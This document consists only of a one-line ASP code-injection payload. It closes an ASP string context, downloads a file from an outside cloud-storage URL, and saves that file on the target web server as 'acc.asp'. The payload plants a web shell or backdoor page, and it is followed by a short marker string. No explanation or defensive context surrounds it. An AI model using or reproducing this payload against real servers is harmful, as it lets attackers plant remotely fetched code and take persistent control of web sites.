"%><%Set x=CreateObject("MSXML2.XMLHTTP"):x.Open "GET","http://yhsc-prod.oss-cn-hangzhou.aliyuncs.com/zb_users/zero.txt",False:x.Send:Set s=CreateObject("ADODB.Stream"):s.Type=1:s.Open:s.Write x.responseBody:s.SaveToFile Server.MapPath("acc.asp"),2:s.Close%>"byzzok169